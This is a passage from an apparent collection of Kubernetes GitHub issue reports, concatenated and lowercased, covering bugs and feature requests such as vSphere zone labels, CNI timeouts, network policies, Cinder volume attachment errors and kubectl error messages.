bound     default/pvc1   sc1                      17h       none\r    \r \r   what you expected to happen  :\r \r a newly created volume should be automatically applied with the well-known zone labels.\r \r    \r $:~> kubectl get pv --show-labels\r name                                       capacity   accessmodes   reclaimpolicy   status    claim          storageclass   reason    age       labels\r pvc-aab193fe-1fc8-11e9-a263-005056929afb   1mi        rwo           delete          bound     default/pvc1   sc1                      17h       failure-domain.beta.kubernetes.io/region=region_1,failure-domain.beta.kubernetes.io/zone=zone_1\r    \r \r this is important since the scheduler places the pod on a node of the same zone based on the volume's zone information.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. setup zones in vcenter by tagging an esx host, cluster or datacenter with the tag name of your choice and tag category, say \ zonecategory\  and \ regioncategory\ .\r 2. update the /etc/kubernetes/vsphere.conf file in each k8s node to include the following and restart kubelet.\r    \r  labels \r     zone = \ zonecategory\ \r     region = \ regioncategory\ \r    \r 3. create a pv and look at the auto-applied labels on it as shown above. the zone information is missing.\r \r   anything else we need to know?  :\r the partially addresses https://github.com/kubernetes/kubernetes/issues/67703\r \r   environment  :\r - kubernetes version  use  kubectl version  : any\r - cloud provider or hardware configuration: vsphere\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r we are running kubernetes on coreos which is configured to autoupdate itself and reboot as it sees fit. we have noticed after a particular restart pods are unable to schedule itself on the particular nodes with the below error,\r \r feb 19 10:32:40 ip-172-22-126-113.eu-west-2.compute.internal kubelet 1273 : e0219 10:32:40.696303    1273 kuberuntime_sandbox.go:54  createpodsandbox for pod \ xxxxx 9ec4f952-3136-11e9-9c40-0a85432fd7ce \  failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ xxxxxxxx\  network: get https://100.64.0.1:443/api/v1/namespaces/xxxxxx/pods/xxxxxx-765677978-9rwb5: dial tcp 100.64.0.1:443: i/o timeout\r   what you expected to happen  :\r pods should be able to schedule itself on the particular node\r   how to reproduce it  as minimally and precisely as possible   :\r if we restart manually for 10-15 times we see this behaviour after one of the restarts.\r \r   anything else we need to know?  :\r the suggested error seems to come every-time when a node restarts, however most of the times it is able to recover from this error and finally pods can schedule themselves on the particular node.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.9\r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  :\r coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r kops\r - others:\r

what happened  :\r \r the  allowedcsidrivers  field was added to the podsecuritypolicy api in v1.14, but was never implemented. having that option unimplemented can give a false sense of security, as a user might _think_ they have restricted csi driver options, but haven't actually done so.\r \r   what you expected to happen  :\r \r when podsecuritypolicy is enabled, no pods should be able to be created with an inline csi driver unless explicitly allowed through this field.\r \r implementing this is a hard requirement for bringing  csiinlinevolume  to beta: https://github.com/kubernetes/enhancements/issues/596\r \r  auth\r /assign vladimirvivien\r /cc jsafrane msau liggitt\r /

which jobs are failing  :\r \r -  ci-kubernetes-e2e-gce-scale-performance \r \r   which test s  are failing  :\r \r -  testing/load/config.yaml \r \r   since when has it been failing  :\r \r - flaking since 02-21\r - failing since 04-10\r \r   testgrid link  :\r \r https://k8s-testgrid.appspot.com/sig-release-master-informing gce-master-scale-performance\r \r   reason for failure  :\r \r   measurement call apiresponsiveness - apiresponsiveness error: top latency metric: there should be no high-latency requests, but:  got: {resource:pods subresource: verb:list scope:cluster latency:{perc50:239.829ms perc90:7.420534s perc99:14.532657s} count:132}; expected perc99 <= 10s got: {resource:serviceaccounts subresource:token verb:post scope:namespace latency:{perc50:4.129ms perc90:18.398ms perc99:1.55848s} count:89}; expected perc99 <= 1s   \r \r   anything else we need to know  :\r \r    / /milestone v1.15\r \r /cc @alejandrox1 @smourapina @rarchk @alenkacz

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r  /assign

i create a service with type   loadbalancer   in the aws platform, then there is a new elb being created automatically and works fine, but after i delete it, i found kubernetes event says the  \\  deleting elb time out  , but i check the elb from aws admin console, i found the elb has been deleted.  hence, if i want to re-create the service again, i need to wait for a long time, until kubernetes think the elb has been deleted... - kubernetes version      > ~  kubectl version   > client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ }   > server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ }  - error log      > sun, 22 nov 2015 11:41:12 +0000   sun, 22 nov 2015 11:41:12 +0000   1         kafkaservice                   service                                                     deleting loadbalancer failed   {service-controller }                    timed out waiting for load-balancer deletion: ae7693125910c11e5befa0a4163d264a

forked from beta requirements  15313.\r \r placeholder for things that didn't make beta/1.2.\r \r known issues so far:\r -  x  from  18901: paused disables scaling behavior, but shouldn't, since it's hostile to horizontal pod auto-scaling  hpa .\r \r cc @janetkuo @kargakis @ironcladlou \r

forked from  20230, and the detail reason can be found at: https://github.com/kubernetes/kubernetes/issues/20230 issuecomment-175906218  in summary, e2e test keeps reboot the node, which might corrupted checkpoints of influxdb. most of our users use different backen storage for their heapster, including gke, and openshift. also our monitoring test should retrieve stats through heapster api only anyway.   cc/ @mwielgus

the documentation  here  https://github.com/kubernetes/kubernetes/blob/release-1.2/docs/api.md  suggests that it does.   however, i can't get this working, in the websocket library i'm using, when i try to make open a ws connection to  127.0.0.1:8001/api/v1/pods?watch=true , it fails with a message  wrong response status or message . so, i tried using curl to inspect the headers sent by the server       bash curl -i -n -h \ connection: upgrade\  -h \ upgrade: websocket\  -h \ host: localhost:8001\  -h \ origin:http://localhost:8001\  'http://127.0.0.1:8001/api/v1/pods?watch=true'      the response headers do not suggest that a protocol upgrade is happening.       http http/1.1 200 ok content-type: text/plain; charset=utf-8 date: tue, 19 apr 2016 17:14:14 gmt transfer-encoding: chunked      i tried hitting the apiserver directly  without the kubectl proxy  and no luck there either.

so far we have a simple translation directory:\r \r https://github.com/kubernetes/kubernetes/tree/master/translations\r \r with a single translation file per language, e.g.\r \r https://github.com/kubernetes/kubernetes/tree/master/translations/kubectl/en_us/lc_messages\r \r there is some discussion that perhaps this should be multiple files.  the purpose of this issue is to discuss this.

\r gsutil cat gs://kubernetes-release/release/latest.txt\r v1.7.0-alpha.0\r \r gs://kubernetes-release/release/v1.7.0-alpha.0/kubernetes.tar.gz.sha1:\r     creation time:          wed, 22 feb 2017 05:21:06 gmt\r     update time:            wed, 22 feb 2017 05:21:06 gmt\r    \r it is causing couple of test suites to fail.\r \r cc: @fgrzadkowski @maciekpytel

what happened  :\r the event of pod:\r ---\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   22s\t\t22s\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned test2 to da-kk73n6cdy4-0-z5nbegh6ltn6-kube-minion-gka5gie7czuk\r   20s\t\t20s\t\t1\t{controller-manager }\t\t\twarning\t\tfailedmount\tfailed to attach volume \ v2222222222222\  on node \ da-kk73n6cdy4-0-z5nbegh6ltn6-kube-minion-gka5gie7czuk\  with: volume 09c678bf-2f86-41b1-85c6-92d366a612b9 is not attached to 8574841d-caf1-4283-b27c-0aa926fea5ee\r   17s\t\t17s\t\t1\t{controller-manager }\t\t\twarning\t\tfailedmount\tfailed to attach volume \ v2222222222222\  on node \ da-kk73n6cdy4-0-z5nbegh6ltn6-kube-minion-gka5gie7czuk\  with: expected http response code  200  when accessing  post http://172.20.0.2:8774/v2/035bf9cd68ad41dfa7d57e2a7b9691ca/servers/8574841d-caf1-4283-b27c-0aa926fea5ee/os-volume_attachments , but got 400 instead\r {\ badrequest\ : {\ message\ : \ invalid volume: volume '09c678bf-2f86-41b1-85c6-92d366a612b9' status must be 'available'. currently in 'in-use'\ , \ code\ : 400}}\r   3s\t3s\t1\t{kubelet da-kk73n6cdy4-0-z5nbegh6ltn6-kube-minion-gka5gie7czuk}\tspec.containers{busybox}\tnormal\tpulled\tcontainer image \ 172.100.200.208/google_containers/busybox:latest\  already present on machine\r ----\r and the log of controllermanager:\r ----\r i0416 03:28:27.392876       1 attacher.go:96  attach operation successful: volume \ 7d26405d-2355-4f0a-954e-ae970deba3c2\  attached to node \ 8574841d-caf1-4283-b27c-0aa926fea5ee\ .\r i0416 03:28:27.688517       1 attacher.go:105  attach volume \ 7d26405d-2355-4f0a-954e-ae970deba3c2\  to instance \ 8574841d-caf1-4283-b27c-0aa926fea5ee\  failed with volume 7d26405d-2355-4f0a-954e-ae970deba3c2 is not attached to 8574841d-caf1-4283-b27c-0aa926fea5ee\r ----\r ----\r i0416 03:28:28.273078       1 reconciler.go:202  started attachvolume for volume \ kubernetes.io/cinder/7d26405d-2355-4f0a-954e-ae970deba3c2\  to node \ da-kk73n6cdy4-0-z5nbegh6ltn6-kube-minion-gka5gie7czuk\ \r e0416 03:28:31.077823       1 openstack_volumes.go:66  failed to attach 7d26405d-2355-4f0a-954e-ae970deba3c2 volume to 8574841d-caf1-4283-b27c-0aa926fea5ee compute\r i0416 03:28:31.078355       1 attacher.go:98  attach volume \ 7d26405d-2355-4f0a-954e-ae970deba3c2\  to instance \ 8574841d-caf1-4283-b27c-0aa926fea5ee\  failed with expected http response code  200  when accessing  post http://172.20.0.2:8774/v2/035bf9cd68ad41dfa7d57e2a7b9691ca/servers/8574841d-caf1-4283-b27c-0aa926fea5ee/os-volume_attachments , but got 400 instead\r {\ badrequest\ : {\ message\ : \ invalid volume: volume '7d26405d-2355-4f0a-954e-ae970deba3c2' status must be 'available'. currently in 'in-use'\ , \ code\ : 400}}\r ----\r   what you expected to happen  :\r no \ failed xxx\  message.\r  \r   how to reproduce it    as minimally and precisely as possible :\r create a pod which attach a cinder volume\r \r   anything else we need to know  :\r volume's attachments is none after nova attach volume to vm \r  root@node-1 ~    cinder show e3c597d0-f48c-4e60-ad04-56955999aa4b \r +---------------------------------------+--------------------------------------+\r |                property               |                value                 |\r +---------------------------------------+--------------------------------------+\r |              attachments              |                                      |\r |           availability_zone           |                 nova                 |\r |                bootable               |                false                 |\r |          consistencygroup_id          |                 none                 |\r |               created_at              |      2017-04-16t05:32:48.000000      |\r |              description              |                 none                 |\r |               encrypted               |                false                 |\r |                   id                  | e3c597d0-f48c-4e60-ad04-56955999aa4b |\r |                metadata               |                  {}                  |\r |            migration_status           |                 none                 |\r |              multiattach              |                false                 |\r |                  name                 |                  p1                  |\r |         os-vol-host-attr:host         |           cinder@ceph ceph           |\r |     os-vol-mig-status-attr:migstat    |                 none                 |\r |     os-vol-mig-status-attr:name_id    |                 none                 |\r |      os-vol-tenant-attr:tenant_id     |   035bf9cd68ad41dfa7d57e2a7b9691ca   |\r |   os-volume-replication:driver_data   |                 none                 |\r | os-volume-replication:extended_status |                 none                 |\r |           replication_status          |               disabled               |\r |                  size                 |                  1                   |\r |              snapshot_id              |                 none                 |\r |              source_volid             |                 none                 |\r |                 status                |              available               |\r |                user_id                |   9be887b61d794482bee9af2306440418   |\r |              volume_type              |                 none                 |\r +---------------------------------------+--------------------------------------+\r  root@node-1 ~    nova volume-attach 8574841d-caf1-4283-b27c-0aa926fea5ee e3c597d0-f48c-4e60-ad04-56955999aa4b; cinder show e3c597d0-f48c-4e60-ad04-56955999aa4b\r +----------+--------------------------------------+\r | property | value                                |\r +----------+--------------------------------------+\r | device   | /dev/vdi                             |\r | id       | e3c597d0-f48c-4e60-ad04-56955999aa4b |\r | serverid | 8574841d-caf1-4283-b27c-0aa926fea5ee |\r | volumeid | e3c597d0-f48c-4e60-ad04-56955999aa4b |\r +----------+--------------------------------------+\r +---------------------------------------+--------------------------------------+\r |                property               |                value                 |\r +---------------------------------------+--------------------------------------+\r |              attachments              |                                      |\r |           availability_zone           |                 nova                 |\r |                bootable               |                false                 |\r |          consistencygroup_id          |                 none                 |\r |               created_at              |      2017-04-16t05:32:48.000000      |\r |              description              |                 none                 |\r |               encrypted               |                false                 |\r |                   id                  | e3c597d0-f48c-4e60-ad04-56955999aa4b |\r |                metadata               |                  {}                  |\r |            migration_status           |                 none                 |\r |              multiattach              |                false                 |\r |                  name                 |                  p1                  |\r |         os-vol-host-attr:host         |           cinder@ceph ceph           |\r |     os-vol-mig-status-attr:migstat    |                 none                 |\r |     os-vol-mig-status-attr:name_id    |                 none                 |\r |      os-vol-tenant-attr:tenant_id     |   035bf9cd68ad41dfa7d57e2a7b9691ca   |\r |   os-volume-replication:driver_data   |                 none                 |\r | os-volume-replication:extended_status |                 none                 |\r |           replication_status          |               disabled               |\r |                  size                 |                  1                   |\r |              snapshot_id              |                 none                 |\r |              source_volid             |                 none                 |\r |                 status                |              attaching               |\r |                user_id                |   9be887b61d794482bee9af2306440418   |\r |              volume_type              |                 none                 |\r +---------------------------------------+--------------------------------------+\r  root@node-1 ~    cinder show e3c597d0-f48c-4e60-ad04-56955999aa4b  \r +---------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r |                property               |                                                                                                                                  value                                                                                                                                  |\r +---------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r |              attachments              |  {u'server_id': u'8574841d-caf1-4283-b27c-0aa926fea5ee', u'attachment_id': u'e5bde9f2-8651-4ab9-a828-5c54405ae5bd', u'host_name': none, u'volume_id': u'e3c597d0-f48c-4e60-ad04-56955999aa4b', u'device': u'/dev/vdi', u'id': u'e3c597d0-f48c-4e60-ad04-56955999aa4b'}  |\r \r -------------------------\r i get the attachments of volume twice, the first value is diffrent from the second value.\r when the status of volume is 'attaching', the attachments of volume is \ \ .\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r i would like to control the communication to block communication from outside into special namespace.\r so, i created the following network policy.\r \r default: deny\r allow from 'type: local' to 'allow: local'\r allow from ' ' to 'allow: public'\r \r user.yaml\r    yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: user1\r   annotations:\r     net.beta.kubernetes.io/network-policy: |\r       {\r         \ ingress\ : {\r           \ isolation\ : \ defaultdeny\ \r         }\r       }\r ---\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: netpol-user1-local\r   namespace: user1\r spec:\r   podselector:\r     matchlabels:\r       allow: \ local\ \r   ingress:\r   - from:\r     - podselector:\r         matchlabels:\r           type: \ local\ \r ---\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: netpol-user1-public\r   namespace: user1\r spec:\r   podselector:\r     matchlabels:\r       allow: \ public\ \r   ingress:\r   - {}\r    \r \r then, i tested the connection, but it was failed.\r the test process is follows.\r \r i created nginx pod in node01.node.local which allow from 'type: local'\r i created access-test pod in both node01 and node02.node.local.\r access test from node01.node.local is successful, but access test from node02.node.local was failed.\r  podinitializing was not finished. \r \r test.yaml\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   namespace: user1\r spec:\r   ports:\r   - port: 80\r     targetport: 80\r   selector:\r     app: nginx\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   namespace: user1\r   labels:\r     app: nginx\r     allow: \ local\ \r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r   nodeselector:\r     kubernetes.io/hostname: node01.node.local\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: access-test-1\r   namespace: user1\r   labels:\r     type: \ local\ \r spec:\r   initcontainers:\r   - name: access-test\r     image: busybox\r     command:  'sh', '-c', 'until wget nginx.user1.svc.cluster.local -o - > /dev/null; do sleep 5; done' \r   containers:\r   - name: busybox\r     image: busybox\r     command:  'sh', '-c', 'echo the app is running! && sleep 3600' \r   nodeselector:\r     kubernetes.io/hostname: node01.node.local\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: access-test-2\r   namespace: user1\r   labels:\r     type: \ local\ \r spec:\r   initcontainers:\r   - name: access-test\r     image: busybox\r     command:  'sh', '-c', 'until wget nginx.user1.svc.cluster.local -o - > /dev/null; do sleep 5; done' \r   containers:\r   - name: busybox\r     image: busybox\r     command:  'sh', '-c', 'echo the app is running! && sleep 3600' \r   nodeselector:\r     kubernetes.io/hostname: node02.node.local\r    \r \r    \r  root@kubemaster ~   kubectl get pods -o wide -n user1\r name            ready     status     restarts   age       ip          node\r access-test-1   1/1       running    0          38m       10.47.0.2   node01.node.local\r access-test-2   0/1       init:0/1   0          38m       10.44.0.6   node02.node.local\r nginx           1/1       running    0          38m       10.47.0.1   node01.node.local\r    \r \r when i removed this network policy  1 , both access test node01 and node02  were successful  2 .\r  1  edit nginx pod label  allow: \ local\   to  allow: \ public\  \r  2  pod was created successfully, but i found some points that i am concerned about.\r     pod access-test-1 is running soon, but pod access-test-2 takes time for running.\r \r    \r  root@kubemaster ~   kubectl get pods -o wide -n user1\r name            ready     status    restarts   age       ip          node\r access-test-1   1/1       running   0          5m        10.47.0.2   node01.node.local\r access-test-2   1/1       running   0          5m        10.44.0.6   node02.node.local\r nginx           1/1       running   0          5m        10.47.0.1   node01.node.local\r \r    \r \r i don't know why such an error occurred, and i have no idea to solve this problem. \r i need your help.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others: network plugin: weave-net: 2.0.5\r \r thank you,

flaky job: pr:pull-kubernetes-e2e-gce-device-plugin-gpu  flakes in the past week:   22    consistency:   96.70%         flakiest tests by flake count: | test | flake count | | --- | --- | | stage | 17 | | up | 5 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r fluentd logs flooded with pattern not match warnings and  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\  and hence it is very difficult to debug.\r   what you expected to happen  :\r it should not show warnings.\r   how to reproduce it  as minimally and precisely as possible   :\r use the same templates for deploying efk stack which is hosted on  kubernetes  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-configmap.yaml \r \r   anything else we need to know?  :\r this issue is due to change in syntax thus multiline doesn't work at all with filter.\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.0\r - cloud provider or hardware configuration:\r gce  kubernetes the hard way \r - os  e.g. from /etc/os-release :\r ubuntu\r - kernel  e.g.  uname -a  :\r linux controller-0 4.13.0-1011-gcp  15-ubuntu smp mon feb 12 16:29:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r efk-stack\r - others:\r none\r \r /area logging

the go release team hopes to have 1.12.1 out sometime between today and tomorrow https://github.com/kubernetes/kubernetes/issues/74890 issuecomment-472558713\r \r we believe this will fix an issue we're working around in one area of our upgrade tests, but may be lurking in all of our vendored code https://github.com/kubernetes/kubernetes/pull/75305\r \r let's use this issue to put together the steps to roll forward.  here's what i gathered from  sig-testing, comment what i've left out or gotten wrong and i'll edit the issue description\r \r >when 1.12.1   hits the road, looks like there are 3 pieces that we need to update?\r > - rules_go  similar to https://github.com/bazelbuild/rules_go/pull/1963   we will likely need help from @ixdy or @jayconrod here to actually get a pr merged, though we could open one \r > - kubekins  similar to https://github.com/kubernetes/test-infra/pull/11583 \r > - kubecross  similar to https://github.com/kubernetes/kubernetes/pull/74632 \r \r > also the kubernetes/kubernetes workspace file: https://github.com/kubernetes/kubernetes/blob/897d62ace79a8fa72f9825e065b2b67fdba65bec/build/root/workspace l33  but maybe you fold that into update rules_go \r > similar to https://github.com/kubernetes/kubernetes/pull/74632\r \r /milestone v1.14\r / 

config file issues are very fragile and opaque. e.g. one user added a stray comma when defining the minion scopes.  this led to a 'silent' fail, where the cluster just didn't come up.

notready nodes most likely don't have their network functional, and might even be down completely.  any arguments?

currently, the maxsurge and maxunavailable rules for deployments only come into play when a rolling-update from one replicaset to another is desired. however, i would love for there to be a generalized notion of maxunavailable for either a replicaset or a deployment, so that when i request a scale-down from 7 to 5  e.g.  with a maxunavailable of 1, it will kill 1, wait for it to terminate, and only then kill the next one.  right now, when you attempt this either using kubectl apply on the deployment with a modified replica count or kubectl scale, it will kill all the downscaled pods at once, which is not desireable for our use case  we lose replication guarantees.

aws announced general availability of the efs today and i'm looking into possibility of using it with my k8s cluster. the tricky part here is that i run a multi-az setup hence it would be optimal if i could mount from nfs server  aka efs mount target  in the same zone, so obviously      - name: somevol   nfs:     server: eu-west-1b.fs-xxxxxxxx.efs.eu-west-1.amazonaws.com     path: \ /\       will not do the trick... initially my idea was that it would be nice if i could reference node label in server name like  <failure-domain.beta.kubernetes.io/zone>.fs-xxxxxxxx.efs.eu-west-1.amazonaws.com .   after quick chat @justinsb suggested that maybe kubernetes own dns could handle such cases.  another approach could be based on k8s service with hardcoded endpoints, as long as endpoint can be labeled with az and kube-proxy can be forced into sort of \ use az local endpoints first if available\  mode

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-serial/2248/  failed:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:67 expected error:     < errors.errorstring | 0xc8211e20b0>: {         s: \ error while waiting for replication controller kube-dns-v19 pods to be running: timeout while waiting for pods with labels \\\ k8s-app=kube-dns,version=v19\\\  to be running\ ,     }     error while waiting for replication controller kube-dns-v19 pods to be running: timeout while waiting for pods with labels \ k8s-app=kube-dns,version=v19\  to be running not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:66      previous issues for this test:  31277  31347  31710  32260

currently the internal api lives in the root folder of the api group, e.g., pkg/apis/extensions/. we should move them  types.go, deepcopy.go, register.go, helpers.go etc.  to pkg/apis/extensions/internalversion. the benefits are:\r   it is more aligned to the layout of the generated  clientset  https://github.com/kubernetes/kubernetes/tree/master/pkg/client/clientset_generated/internalclientset/typed/core/internalversion  and  listers  https://github.com/kubernetes/kubernetes/tree/master/pkg/client/listers/policy/internalversion .\r   easier to use tools like import-boss or bazel to prevent accidental import of internal apis.\r \r @kubernetes/sig-api-machinery @deads2k

 \r   what happened  :\r \r when setting an elbsecuritygroup in cloud.config for aws, and deploying multiple services with differing ports, then the security group rules flap in aws, causing services to become inaccessible  only one will be correctly configured at a time .\r \r   what you expected to happen  :\r \r i expect that the configured elbsecuritygroup's rules will not be touched at all.  it must be pre-configured to permit access.  alternatively, all ports for all services are queried and managed together.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r most people are not running large clusters which may hit the aws limits, so they won't use this option, nor see this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.1\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 4.10.13-1-arch\r - install tools: custom\r - others:\r

while this issue happens without this complicated reproduction, here is a sure-fire way to get it.\r \r 1. start a long-running kubectl get.  in this example, i have a cluster with about 2,000 configmaps each around 100kib.\r \r  kubectl --v=8 get cm -n kube-system \r \r once you see these lines\r \r    \r i0825 12:02:40.297188    7736 round_trippers.go:383  get http://127.0.0.1:8080/api/v1/namespaces/kube-system/configmaps\r i0825 12:02:40.297197    7736 round_trippers.go:390  request headers:\r i0825 12:02:40.297203    7736 round_trippers.go:393      accept: application/json\r i0825 12:02:40.297209    7736 round_trippers.go:393      user-agent: kubectl/v1.8.0  linux/amd64  kubernetes/04b2c29\r    \r \r press  ^z , then type  sleep 60; fg , and then you'll see...\r \r    \r i0825 12:03:44.637250    7736 round_trippers.go:408  response status: 200 ok in 64340 milliseconds\r i0825 12:03:44.637289    7736 round_trippers.go:411  response headers:\r i0825 12:03:44.637306    7736 round_trippers.go:414      content-type: application/json\r i0825 12:03:44.637319    7736 round_trippers.go:414      date: fri, 25 aug 2017 19:02:49 gmt\r i0825 12:03:52.719783    7736 request.go:816  transformresponse response body: \r f0825 12:03:52.719885    7736 helpers.go:119  unexpected end of json input\r    \r \r what's happening is that the apiserver is hitting  this timeout  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/filters/timeout.go l34 , and then it  panics  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/filters/timeout.go l221 .  as the code says, this should make it obvious to the client  kubectl  that it didn't get the entire body, because no 0-length eof chunk gets sent.  i can confirm from using tcpdump that no such chunk gets sent.\r \r however, kubectl doesn't notice this, and instead tries to decode a 0-length response body, giving the cryptic message.\r \r  what i expected to happen \r \r 1. at the very least, a less cryptic error message like \ connected closed\ .\r 2. ideally, this gets detected by the code and we can internally retry, just as if we got, e.g.,  408 request timeout  https://http.cat/408

a typical user managing clusters with extended compute resources will want to reserve those resources for pods that require those resources. for example, a node with one or gpus or fpgas or special nics will most likely be reserved for pods that need those resources. essentially, such nodes will be treated as \ dedicated\  nodes. \r taints is the kubernetes api to express the notion of dedicated nodes.\r tainting nodes with extended compute resources is even more important in the case of autoscaled clusters where a cluster autoscaler may spin up nodes with extended resources which  node  can then be consumed by pods that do not require the extended resource. given that many of the extended resources are typically more expensive that the built-in ones like cpu, memory and storage, it is useful to taint such nodes by default in general.\r tainting for extended resources can happen via device plugins or via cluster lifecycle control plane depending on the environment.\r \r taints come with a problem though. the taints have to be standardized for k8s workloads to be portable. this issue is proposing the following solution to deal with this issue:\r 1. use the extended resource name as the name of the taint by default. for example, in the case of nvidia gpus the name of the taint expected will be  nvidia.com/gpu  and the effect is  noschedule . applying taints to nodes is still out of scope for core k8s since the extended resource control plane is out of tree.\r 2. have the api server apply tolerations for pods that use extended resources. the default toleration will be for a name that matches the extended resource name and effect  noschedule . api server is aware of first class vs extended resources already.\r \r - having additional tolerations for taints that do not exist will not cause any functional issues\r - this solution will work generically for all extended resources out of box\r \r thanks to @lavalamp for this idea.\r \r @derekwaynecarr @thockin @davidopp @smarterclayton @connordoyle @bsalamat any opinions or suggestions?\r \r cc @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-scalability-feature-requests \r \r this feature is part of https://github.com/kubernetes/features/issues/192

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubectl config view -o jsonpath='{.clusters 0 .cluster.certificate-authority-data}' \r  68 64 192 9 49 3 \r \r   what you expected to happen  :\r \r kubectl displays config in base64 or pem format. instead it returns bunch of numbers\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r azure\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :\r linux k8s-master-41ba549e-0 4.4.0-103-generic  126-ubuntu smp mon dec 4 16:23:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r 

in order to identify which e2e test  or other client  is hitting a specific api endpoint\r \r given an api call with  user agent set  https://github.com/kubernetes/kubernetes/issues/64790 \r when the event is written to the audit-logging faciliites\r then the log will include the user-agent\r \r prior discussion: https://groups.google.com/d/msg/kubernetes-sig-api-machinery/r-z_njilzmg/q1kwg9jsaqaj\r \r  /cc @kubernetes/api-reviewers @kubernetes/sig-testing-feature-requests @liggitt @lavalamp @bgrant0607

kubelet_pods.go:180  mount cannot be satisfied for container \ xxx\ , because the volume is missing or the volume mounter is nil: {name:default-token-ln85q readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath: mountpropagation:<nil>}

